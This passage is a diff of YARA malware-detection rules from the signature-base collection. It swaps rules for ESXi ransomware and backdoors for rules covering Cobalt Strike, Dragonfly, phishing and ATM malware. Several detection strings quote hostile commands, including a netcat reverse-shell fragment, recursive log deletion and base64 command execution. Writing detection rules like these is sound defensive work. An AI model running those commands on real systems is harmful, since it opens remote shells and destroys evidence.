-		logic_hash = "c39aee669a98bcc9d07821aef248096e45a6c54ab22b8b98c0a393b445f3934e"
+		reference = "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_dragonfly.yar#L91-L109"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "61af81f0cd1eccba3a1000e6715c9715e8e67849e5edd4279728a7e47bd8cb75"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "b6154d25b3aa3098f2cee790f5de5a727fc3549865a7aa2196579fe39a86de09"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2f159b71183a69928ba8f26b76772ec504aefeac71021b012bd006162e133731"
 
 	strings:
-		$x1 = "xmrig.exe" fullword wide
-		$x2 = "xmrig.com" fullword wide
-		$x3 = "* for x86, CRYPTOGAMS" fullword ascii
+		$s1 = "screen.exe" fullword wide
+		$s2 = "PlatformInvokeUSER32" fullword ascii
+		$s3 = "GetDesktopImageF" fullword ascii
+		$s4 = "PlatformInvokeGDI32" fullword ascii
+		$s5 = "GetDesktopImage" fullword ascii
+		$s6 = "Too many arguments, going to store in current dir" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <6000KB and 2 of them or all of them
+		( uint16(0)==0x5a4d and filesize <60KB and all of them )
 }
-rule SIGNATURE_BASE_MAL_RANSOM_SH_Esxi_Attacks_Feb23_1 : FILE
+rule SIGNATURE_BASE_Cobaltstrike_Resources_Beacon_Dll_V3_8_1
 {
 	meta:
-		description = "Detects script used in ransomware attacks exploiting and encrypting ESXi servers - file encrypt.sh"
-		author = "Florian Roth"
-		id = "7178dbe4-f573-5279-a23e-9bab8ae8b743"
-		date = "2023-02-04"
+		description = "Cobalt Strike's resources/beacon.dll Versions 3.8"
+		author = "gssincla@google.com"
+		id = "6c65cbf8-2c60-5315-b3b2-48dfcee75733"
+		date = "2022-11-18"
 		modified = "2023-12-05"
-		reference = "https://www.bleepingcomputer.com/forums/t/782193/esxi-ransomware-help-and-support-topic-esxiargs-args-extension/page-14"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_ransom_esxi_attacks_feb23.yar#L6-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1143ee36603f604874432ee280314a9f62ffe64e58ec5cd4eb114b7b175b365a"
-		score = 85
-		quality = 60
-		tags = "FILE"
-		hash1 = "10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_gcti_cobaltstrike.yar#L1020-L1061"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "67b6557f614af118a4c409c992c0d9a0cc800025f77861ecf1f3bbc7c293d603"
+		logic_hash = "cde078a6ae7d0d835900e85498cf5ae20663ba8d5d3f912810e157261561e16a"
+		score = 75
+		quality = 85
+		tags = ""
 
 	strings:
-		$x1 = "/bin/find / -name *.log -exec /bin/rm -rf {} \\;" ascii fullword
-		$x2 = "/bin/touch -r /etc/vmware/rhttpproxy/config.xml /bin/hostd-probe.sh" ascii fullword
-		$x3 = "grep encrypt | /bin/grep -v grep | /bin/wc -l)" ascii fullword
-		$s1 = "## ENCRYPT" ascii fullword
-		$s2 = "/bin/find / -name *.log -exec /bin" ascii fullword
+		$version_sig = { 48 57 8B F9 83 F8 4B 0F 87 5D 03 00 00 FF 24 }
+		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+		$xmrig_srcpath = "C:/Users/SKOL-NOTE/Desktop/Loader/script.go"
+		$c2_1 = "ns7.softline.top" xor
+		$c2_2 = "ns8.softline.top" xor
+		$c2_3 = "ns9.softline.top" xor
 
 	condition:
-		uint16(0)==0x2123 and filesize <10KB and (1 of ($x*) or 2 of them ) or 3 of them
+		$version_sig and $decoder and (2 of ($c2_*) or $xmrig_srcpath)
 }
-rule SIGNATURE_BASE_MAL_RANSOM_ELF_Esxi_Attacks_Feb23_1 : FILE
+rule SIGNATURE_BASE_Fidelis_Advisory_Purchase_Order_Pps
 {
 	meta:
-		description = "Detects ransomware exploiting and encrypting ESXi servers"
-		author = "Florian Roth"
-		id = "d0a813aa-41f8-57df-b708-18ccb0d7a3e5"
-		date = "2023-02-04"
+		description = "Detects a string found in a malicious document named Purchase_Order.pps"
+		author = "Florian Roth (Nextron Systems)"
+		id = "205c4cda-6874-5455-8eb9-b63fb09b13fd"
+		date = "2015-06-09"
 		modified = "2023-12-05"
-		reference = "https://www.bleepingcomputer.com/forums/t/782193/esxi-ransomware-help-and-support-topic-esxiargs-args-extension/page-14"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_ransom_esxi_attacks_feb23.yar#L30-L56"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "27ff018574323c10821993c30cf74de15121caa92a308fbcae4eceae954e63b6"
-		score = 85
+		reference = "http://goo.gl/ZjJyti"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fidelis_phishing_plain_sight.yar#L2-L14"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "45cfee6413accff36a39ced861a29c611d6efe24e1ca87f17467106f8565642b"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "11b1b2375d9d840912cfd1f0d0d04d93ed0cddb0ae4ddb550a5b62cd044d6b66"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "usage: encrypt <public_key> <file_to_encrypt> [<enc_step>] [<enc_size>] [<file_size>]" ascii fullword
-		$x2 = "[ %s ] - FAIL { Errno: %d }" ascii fullword
-		$s1 = "lPEM_read_bio_RSAPrivateKey" ascii fullword
-		$s2 = "lERR_get_error" ascii fullword
-		$s3 = "get_pk_data: key file is empty!" ascii fullword
-		$op1 = { 8b 45 a8 03 45 d0 89 45 d4 8b 45 a4 69 c0 07 53 65 54 89 45 a8 8b 45 a8 c1 c8 19 }
-		$op2 = { 48 89 95 40 fd ff ff 48 83 bd 40 fd ff ff 00 0f 85 2e 01 00 00 48 8b 9d 50 ff ff ff 48 89 9d 30 fd ff ff 48 83 bd 30 fd ff ff 00 78 13 f2 48 0f 2a 85 30 fd ff ff }
-		$op3 = { 31 55 b4 f7 55 b8 8b 4d ac 09 4d b8 8b 45 b8 31 45 bc c1 4d bc 13 c1 4d b4 1d }
+		$s0 = "Users\\Gozie\\Desktop\\Purchase-Order.gif" ascii
 
 	condition:
-		uint16(0)==0x457f and filesize <200KB and (1 of ($x*) or 3 of them ) or 4 of them
+		all of them
 }
-rule SIGNATURE_BASE_APT_PY_Esxi_Backdoor_Dec22 : FILE
+rule SIGNATURE_BASE_Fidelis_Advisory_Cedt370
 {
 	meta:
-		description = "Detects Python backdoor found on ESXi servers"
-		author = "Florian Roth"
-		id = "f0a3b9b9-0031-5d9f-97f8-70f83863ee63"
-		date = "2022-12-14"
+		description = "Detects a string found in memory of malware cedt370r(3).exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b5ebf2d7-e3e4-5b3b-a082-417da9c7fda6"
+		date = "2015-06-09"
 		modified = "2023-12-05"
-		reference = "https://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_ransom_esxi_attacks_feb23.yar#L58-L71"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "86b628f007720aa706c30d91e845d867ed481d1e99bcc9315c84a4e0b7b1b2a6"
-		score = 85
+		reference = "http://goo.gl/ZjJyti"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fidelis_phishing_plain_sight.yar#L16-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1070d3c63a7091c0982e67134f9dc3cd790bb0b5c2ac08f3a00e3b97ef53d64b"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$x1 = "cmd = str(base64.b64decode(encoded_cmd), " ascii
-		$x2 = "sh -i 2>&1 | nc %s %s > /tmp/" ascii
+		$s0 = "PO.exe" ascii fullword
+		$s1 = "Important.exe" ascii fullword
+		$s2 = "&username=" ascii fullword
+		$s3 = "Browsers.txt" ascii fullword
 
 	condition:
-		filesize <10KB and 1 of them or all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT_SH_Esxi_Backdoor_Dec22 : FILE
+rule SIGNATURE_BASE_ATM_Malware_Loup_1 : FILE
 {
 	meta:
-		description = "Detects malicious script found on ESXi servers"
-		author = "Florian Roth"
-		id = "983ac20c-2e61-5365-8849-b3aeb999f909"
-		date = "2022-12-14"
+		description = "Detects ATM Malware Loup"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "2215a93f-d854-5f9b-b5cd-53962c45db08"
+		date = "2020-08-17"
 		modified = "2023-12-05"
-		reference = "https://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_ransom_esxi_attacks_feb23.yar#L73-L87"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "155a90a6c55b99285555634d91a66fca9c7e7297f05314fa4d6ce1d84257ee11"
+		reference = "https://twitter.com/r3c0nst/status/1295275546780327936"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_atm_loup.yar#L3-L19"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6c9e9f78963ab3e7acb43826906af22571250dc025f9e7116e0201b805dc1196"
+		logic_hash = "5068c3f27cf821f512fb9a473d2bd45066d550f30fbc26f0cbebbe103e6f4ccb"
 		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$x1 = "mv /bin/hostd-probe.sh /bin/hostd-probe.sh.1" ascii fullword
-		$x2 = "/bin/nohup /bin/python -u /store/packages/vmtools.py" ascii
-		$x3 = "/bin/rm /bin/hostd-probe.sh.1"
+		$String1 = "C:\\Users\\muham\\source\\repos\\loup\\Debug\\loup.pdb" ascii
+		$String2 = "CurrencyDispenser1" ascii
+		$Code = {50 68 C0 D4 01 00 8D 4D E8 51 68 2E 01 00 00 0F B7 55 08 52 E8}
 
 	condition:
-		filesize <10KB and 1 of them
+		uint16(0)==0x5A4D and filesize <100KB and all of ($String*) and $Code
 }
-rule SIGNATURE_BASE_MAL_RANSOM_SH_Esxi_Attacks_Feb23_2 : FILE
+rule SIGNATURE_BASE_ONHAT_Proxy_Hacktool : FILE
 {
 	meta:
-		description = "Detects script used in ransomware attacks exploiting and encrypting ESXi servers"
-		author = "Florian Roth"
-		id = "d1282dee-0496-52f1-a2b7-27657ab4df8c"
-		date = "2023-02-06"
+		description = "Detects ONHAT Proxy - Htran like SOCKS hack tool used by Chinese APT groups"
+		author = "Florian Roth (Nextron Systems)"
+		id = "cb18a5b0-dbbd-5dd3-af66-21b8302df6de"
+		date = "2016-05-12"
 		modified = "2023-12-05"
-		reference = "https://dev.to/xakrume/esxiargs-encryption-malware-launches-massive-attacks-against-vmware-esxi-servers-pfe"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_ransom_esxi_attacks_feb23.yar#L89-L101"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3f240784873a0239cbf61f7f420fdd72b8992d5943ffc3d4dcad43c836569f4d"
-		score = 85
+		reference = "https://goo.gl/p32Ozf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_onhat_proxy.yar#L8-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d8c088ecdedbd74ca174244c407c3bb27ccd082ec515c62ee19c93e0d45d3f3b"
+		score = 100
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "30b2de0a802a65b4db3a14593126301e6949c1249e68056158b2cc74798bac97"
+		hash2 = "94bda24559713c7b8be91368c5016fc7679121fea5d565d3d11b2bb5d5529340"
+		hash3 = "a26e75fec3b9f7d5a1c3d0ce1e89e4b0befb7a601da0c69a4cf96301921771dd"
+		hash4 = "c202e9d5b99f6137c7c07305c7314e55f52bae832d460c44efc8f2a90ff03615"
+		hash5 = "dded62ad85c0bdd68bcc96f88d8ba42d5ad0ef999911ebdea3f561a4491ebbc6"
+		hash6 = "f0954774c91603fc2595f0ba0727b9af4e80f6f9be7bb629e7fb6ba4309ed4ea"
+		hash7 = "f3906be01d51e2e1ae9b03cd09702b6e0794b9c9fd7dc04024f897e96bb13232"
+		hash8 = "f65ae9ccf988a06a152f27a4c0d7992100a2d9d23d80efe8d8c2a5c9bd78a3a7"
 
 	strings:
-		$x1 = "echo \"START ENCRYPT: $file_e SIZE: $size_kb STEP SIZE: " ascii
+		$s1 = "INVALID PARAMETERS. TYPE ONHAT.EXE -h FOR HELP INFORMATION." fullword ascii
+		$s2 = "[ONHAT] LISTENS (S, %d.%d.%d.%d, %d) ERROR." fullword ascii
+		$s3 = "[ONHAT] CONNECTS (T, %d.%d.%d.%d, %d.%d.%d.%d, %d) ERROR." fullword ascii
 
 	condition:
-		filesize <10KB and 1 of them
+		( uint16(0)==0x5a4d and filesize <80KB and (1 of ($s*))) or (2 of them )
 }
-rule SIGNATURE_BASE_SUSP_Esxiargs_Endpoint_Conf_Aug23 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Malware_Imphash_Mar23_1 : HIGHVOL FILE
 {
 	meta:
-		description = "Detects indicators found in endpoint.conf files as modified by actors in the ESXiArgs campaign"
-		author = "Florian Roth"
-		id = "3e0b5dbf-7c5b-5599-823a-ce35fbdbe64b"
-		date = "2023-08-04"
-		modified = "2023-12-05"
-		reference = "https://www.bleepingcomputer.com/forums/t/782193/esxi-ransomware-help-and-support-topic-esxiargs-args-extension/page-47"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_ransom_esxi_attacks_feb23.yar#L103-L120"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "794d460eec0e2f0b48e6ced94b125a1e48acde6be6281866e0b4a2ae6c2d3b51"
+		description = "Detects malware by known bad imphash or rich_pe_header_hash"
+		author = "Arnim Rupp"
+		id = "fb398c26-e9ac-55f9-b605-6b763021e96a"
+		date = "2023-03-20"
+		modified = "2023-03-22"
+		reference = "https://yaraify.abuse.ch/statistics/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_imphash_detection.yar#L4-L90"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "167dde6bd578cbfcc587d5853e7fc2904cda10e737ca74b31df52ba24db6e7bc"
+		hash = "0a25a78c6b9df52e55455f5d52bcb3816460001cae3307b05e76ac70193b0636"
+		hash = "d87a35decd0b81382e0c98f83c7f4bf25a2b25baac90c9dcff5b5a147e33bcc8"
+		hash = "5783bf969c36f13f4365f4cae3ec4ee5d95694ff181aba74a33f4959f1f19e8b"
+		hash = "4ca925b0feec851d787e7ee42d263f4c08b0f73f496049bdb5d967728ff91073"
+		hash = "9c2d2fa9c32fdff1828854e8cc39160dae73a4f90fb89b82ef6d853b63035663"
+		hash = "2c53d58f30b2ee1a2a7746e20f136c34d25d0214261783fc67e119329d457c2a"
+		hash = "5e83747015b0589b4f04b0db981794adf53274076c1b4acf717e3ff45eca0249"
+		hash = "ceaa0af90222ff3a899b9a360f6328cbda9ec0f5fbd18eb44bdc440470bb0247"
+		hash = "82fb1ba998dfee806a513f125bb64c316989c36c805575914186a6b45da3b132"
+		hash = "cb41d2520995abd9ba8ccd42e53d496a66da392007ea6aebd4cbc43f71ad461a"
+		hash = "c7bd758506b72ee6db1cc2557baf745bf9e402127d8e49266cc91c90f3cf3ed5"
+		hash = "e6e0d60f65a4ea6895ff97df340f6d90942bbfa402c01bf443ff5b4641ff849f"
+		hash = "e8ddef9fa689e98ba2d48260aea3eb8fa41922ed718b7b9135df6426b3ddf126"
+		hash = "ad57d77aba6f1bf82e0affe4c0ae95964be45fb3b7c2d6a0e08728e425ecd301"
+		hash = "483df98eb489899bc89c6a0662ca8166c9b77af2f6bedebd17e61a69211843d9"
+		hash = "a65ed85851d8751e6fe6a27ece7b3879b90866a10f272d8af46fb394b46b90a9"
+		hash = "09081e04f3228d6ef2efc1108850958ed86026e4dfda199852046481f4711565"
+		hash = "1b2c9054f44f7d08cffe7e2d9127dbd96206ab2c15b63ebf6120184950336ae1"
+		hash = "257887d1c84eb15abb2c3c0d7eb9b753ca961d905f4979a10a094d0737d97138"
+		hash = "1cbad8b58dbd1176e492e11f16954c3c254b5169dde52b5ad6d0d3c51930abf8"
+		hash = "a9897fd2d5401071a8219b05a3e9b74b64ad67ab75044b3e41818e6305a8d7b9"
+		hash = "aeac45fbc5d2a59c9669b9664400aeaf6699d76a57126d2f437833a3437a693e"
+		hash = "7b4c4d4676fab6c009a40d370e6cb53ea4fd73b09c23426fbaccc66d652f2a00"
+		hash = "b07f6873726276842686a6a6845b361068c3f5ce086811db05c1dc2250009cd0"
+		hash = "d1b3afebcacf9dd87034f83d209b42b0d79e66e08c0a897942fbe5fbd6704a0e"
+		hash = "074d52be060751cf213f6d0ead8e9ab1e63f055ae79b5fcbe4dd18469deea12b"
+		hash = "84d1fdef484fa9f637ae3d6820c996f6c5cf455470e8717ad348a3d80d2fb8e0"
+		hash = "437da123e80cfd10be5f08123cd63cfc0dc561e17b0bef861634d60c8a134eda"
+		hash = "f76c36eb22777473b88c6a5fc150fd9d6b5fac5b2db093f0ccd101614c46c7e7"
+		hash = "5498b7995669877a410e1c2b68575ca94e79014075ef5f89f0f1840c70ebf942"
+		hash = "af4e633acfba903e7c92342b114c4af4e694c5cfaea3d9ea468a4d322b60aa85"
+		hash = "d7d870f5afab8d4afa083ea7d7ce6407f88b0f08ca166df1a1d9bdc1a46a41b3"
+		hash = "974209d88747fbba77069bb9afa9e8c09ee37ae233d94c82999d88dfcd297117"
+		hash = "f2d99e7d3c59adf52afe0302b298c7d8ea023e9338c2870f74f11eaa0a332fc4"
+		hash = "b32c93be9320146fc614fafd5e6f1bb8468be83628118a67eb01c878f941ee5d"
+		hash = "bbd99acc750e6457e89acbc5da8b2a63b4ef01d4597d160e9cde5dc8bd04cf74"
+		hash = "dbff5ca3d1e18902317ab9c50be4e172640a8141e09ec13dcca986f2ec1dc395"
+		hash = "3ee1741a649f0b97bbeb05b6f9df97afda22c82e1e870177d8bdd34141ef163c"
+		hash = "222096fc800c8ea2b0e530302306898b691858324dbe5b8357f90407e9665b85"
+		hash = "b9995d1987c4e8b6fb30d255948322cfad9cc212c7f8f4c5db3ac80e23071533"
+		hash = "a6a92ea0f27da1e678c15beb263647de43f68608afe82d6847450f16a11fe6c0"
+		hash = "866e3ea86671a62b677214f07890ddf7e8153bec56455ad083c800e6ab51be37"
+		logic_hash = "dcb4d9a1ca83bbd26178895f20f9ab443f48f42aa3ad3df042c763c24ce8c047"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = "HIGHVOL, FILE"
+		license = "Detection Rule License 1.1 https://github.com/SigmaHQ/Detection-Rule-License"
 
 	strings:
-		$a1 = "/client/clients.xml" ascii
-		$a2 = "/var/run/vmware/proxy-sdk-tunnel" ascii fullword
-		$a3 = "redirect" ascii fullword
-		$a4 = "allow" ascii fullword
-		$s1 = " local 8008 allow allow"
+		$fp1 = "Win32 Cabinet Self-Extractor" wide
+		$fp2 = "EXTRACTOPT" ascii fullword
 
 	condition:
-		filesize <2KB and all of them
+		uint16(0)==0x5A4D and (pe.imphash()=="9ee34731129f4801db97fd66adbfeaa0" or pe.imphash()=="f9e8597c55008e10a8cdc8a0764d5341" or pe.imphash()=="0a76016a514d8ed3124268734a31e2d2" or pe.imphash()=="d3cbd6e8f81da85f6bf0529e69de9251" or pe.imphash()=="d8b32e731e5438c6329455786e51ab4b" or pe.imphash()=="cdf5bbb8693f29ef22aef04d2a161dd7" or pe.imphash()=="890e522b31701e079a367b89393329e6" or pe.imphash()=="bf5a4aa99e5b160f8521cadd6bfe73b8" or pe.imphash()=="646167cce332c1c252cdcb1839e0cf48" or pe.imphash()=="9f4693fc0c511135129493f2161d1e86" or pe.imphash()=="b4c6fff030479aa3b12625be67bf4914") and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_MAL_Enfal_Nov22 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_Imphashes_Aug22_1 : FILE
 {
 	meta:
-		description = "Detects a certain type of Enfal Malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9dcba14e-2175-5da0-8629-5b952c213f6c"
-		date = "2015-02-10"
-		modified = "2023-01-06"
-		old_rule_name = "Enfal_Malware"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.enfal"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_enfal.yar#L1-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bf349ba2b7bd635808b4ee23c6286e7dd403fbc185c6b59f0bb1fbf47ba7d9bb"
-		score = 75
+		description = "Detects different hacktools based on their imphash"
+		author = "Florian Roth"
+		id = "e1d4dde6-16ad-5495-b3a7-01a86c830761"
+		date = "2022-08-17"
+		modified = "2023-03-21"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_imphash_detection.yar#L93-L192"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e76701b889138f9635cfe3a2f08710db3a6f0a3c3a15faa705ff0904d0566a1f"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		hash2 = "42fa6241ab94c73c7ab386d600fae70da505d752daab2e61819a0142b531078a"
-		hash2 = "bf433f4264fa3f15f320b35e773e18ebfe94465d864d3f4b2a963c3e5efd39c2"
-
-	strings:
-		$xop1 = { 00 00 83 c9 ff 33 c0 f2 ae f7 d1 49 b8 ff 8f 01 00 2b c1 }
-		$s1 = "POWERPNT.exe" fullword ascii
-		$s2 = "%APPDATA%\\Microsoft\\Windows\\" ascii
-		$s3 = "%HOMEPATH%" fullword ascii
-		$s4 = "Server2008" fullword ascii
-		$s5 = "%ComSpec%" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and (1 of ($x*) or 3 of ($s*))
+		uint16(0)==0x5a4d and (pe.imphash()=="bcca3c247b619dcd13c8cdff5f123932" or pe.imphash()=="3a19059bd7688cb88e70005f18efc439" or pe.imphash()=="bf6223a49e45d99094406777eb6004ba" or pe.imphash()=="0c106686a31bfe2ba931ae1cf6e9dbc6" or pe.imphash()=="0d1447d4b3259b3c2a1d4cfb7ece13c3" or pe.imphash()=="1b0369a1e06271833f78ffa70ffb4eaf" or pe.imphash()=="4c1b52a19748428e51b14c278d0f58e3" or pe.imphash()=="4d927a711f77d62cebd4f322cb57ec6f" or pe.imphash()=="66ee036df5fc1004d9ed5e9a94a1086a" or pe.imphash()=="672b13f4a0b6f27d29065123fe882dfc" or pe.imphash()=="6bbd59cea665c4afcc2814c1327ec91f" or pe.imphash()=="725bb81dc24214f6ecacc0cfb36ad30d" or pe.imphash()=="9528a0e91e28fbb88ad433feabca2456" or pe.imphash()=="9da6d5d77be11712527dcab86df449a3" or pe.imphash()=="a6e01bc1ab89f8d91d9eab72032aae88" or pe.imphash()=="b24c5eddaea4fe50c6a96a2a133521e4" or pe.imphash()=="d21bbc50dcc169d7b4d0f01962793154" or pe.imphash()=="fcc251cceae90d22c392215cc9a2d5d6" or pe.imphash()=="23867a89c2b8fc733be6cf5ef902f2d1" or pe.imphash()=="a37ff327f8d48e8a4d2f757e1b6e70bc" or pe.imphash()=="f9a28c458284584a93b14216308d31bd" or pe.imphash()=="6118619783fc175bc7ebecff0769b46e" or pe.imphash()=="959a83047e80ab68b368fdb3f4c6e4ea" or pe.imphash()=="563233bfa169acc7892451f71ad5850a" or pe.imphash()=="87575cb7a0e0700eb37f2e3668671a08" or pe.imphash()=="13f08707f759af6003837a150a371ba1" or pe.imphash()=="1781f06048a7e58b323f0b9259be798b" or pe.imphash()=="233f85f2d4bc9d6521a6caae11a1e7f5" or pe.imphash()=="24af2584cbf4d60bbe5c6d1b31b3be6d" or pe.imphash()=="632969ddf6dbf4e0f53424b75e4b91f2" or pe.imphash()=="713c29b396b907ed71a72482759ed757" or pe.imphash()=="749a7bb1f0b4c4455949c0b2bf7f9e9f" or pe.imphash()=="8628b2608957a6b0c6330ac3de28ce2e" or pe.imphash()=="8b114550386e31895dfab371e741123d" or pe.imphash()=="94cb940a1a6b65bed4d5a8f849ce9793" or pe.imphash()=="9d68781980370e00e0bd939ee5e6c141" or pe.imphash()=="b18a1401ff8f444056d29450fbc0a6ce" or pe.imphash()=="cb567f9498452721d77a451374955f5f" or pe.imphash()=="730073214094cd328547bf1f72289752" or pe.imphash()=="17b461a082950fc6332228572138b80c" or pe.imphash()=="dc25ee78e2ef4d36faa0badf1e7461c9" or pe.imphash()=="819b19d53ca6736448f9325a85736792" or pe.imphash()=="829da329ce140d873b4a8bde2cbfaa7e" or pe.imphash()=="c547f2e66061a8dffb6f5a3ff63c0a74" or pe.imphash()=="0588081ab0e63ba785938467e1b10cca" or pe.imphash()=="0d9ec08bac6c07d9987dfd0f1506587c" or pe.imphash()=="bc129092b71c89b4d4c8cdf8ea590b29" or pe.imphash()=="4da924cf622d039d58bce71cdf05d242" or pe.imphash()=="e7a3a5c377e2d29324093377d7db1c66" or pe.imphash()=="9a9dbec5c62f0380b4fa5fd31deffedf" or pe.imphash()=="af8a3976ad71e5d5fdfb67ddb8dadfce" or pe.imphash()=="0c477898bbf137bbd6f2a54e3b805ff4" or pe.imphash()=="0ca9f02b537bcea20d4ea5eb1a9fe338" or pe.imphash()=="3ab3655e5a14d4eefc547f4781bf7f9e" or pe.imphash()=="e6f9d5152da699934b30daab206471f6" or pe.imphash()=="3ad59991ccf1d67339b319b15a41b35d" or pe.imphash()=="ffdd59e0318b85a3e480874d9796d872" or pe.imphash()=="0cf479628d7cc1ea25ec7998a92f5051" or pe.imphash()=="07a2d4dcbd6cb2c6a45e6b101f0b6d51" or pe.imphash()=="d6d0f80386e1380d05cb78e871bc72b1" or pe.imphash()=="38d9e015591bbfd4929e0d0f47fa0055" or pe.imphash()=="0e2216679ca6e1094d63322e3412d650" or pe.imphash()=="ada161bf41b8e5e9132858cb54cab5fb" or pe.imphash()=="2a1bc4913cd5ecb0434df07cb675b798" or pe.imphash()=="11083e75553baae21dc89ce8f9a195e4" or pe.imphash()=="a23d29c9e566f2fa8ffbb79267f5df80" or pe.imphash()=="4a07f944a83e8a7c2525efa35dd30e2f" or pe.imphash()=="767637c23bb42cd5d7397cf58b0be688" or pe.imphash()=="14c4e4c72ba075e9069ee67f39188ad8" or pe.imphash()=="3c782813d4afce07bbfc5a9772acdbdc" or pe.imphash()=="7d010c6bb6a3726f327f7e239166d127" or pe.imphash()=="89159ba4dd04e4ce5559f132a9964eb3" or pe.imphash()=="6f33f4a5fc42b8cec7314947bd13f30f" or pe.imphash()=="5834ed4291bdeb928270428ebbaf7604" or pe.imphash()=="5a8a8a43f25485e7ee1b201edcbc7a38" or pe.imphash()=="dc7d30b90b2d8abf664fbed2b1b59894" or pe.imphash()=="41923ea1f824fe63ea5beb84db7a3e74" or pe.imphash()=="3de09703c8e79ed2ca3f01074719906b" or pe.imphash()=="a53a02b997935fd8eedcb5f7abab9b9f" or pe.imphash()=="e96a73c7bf33a464c510ede582318bf2" or pe.imphash()=="32089b8851bbf8bc2d014e9f37288c83" or 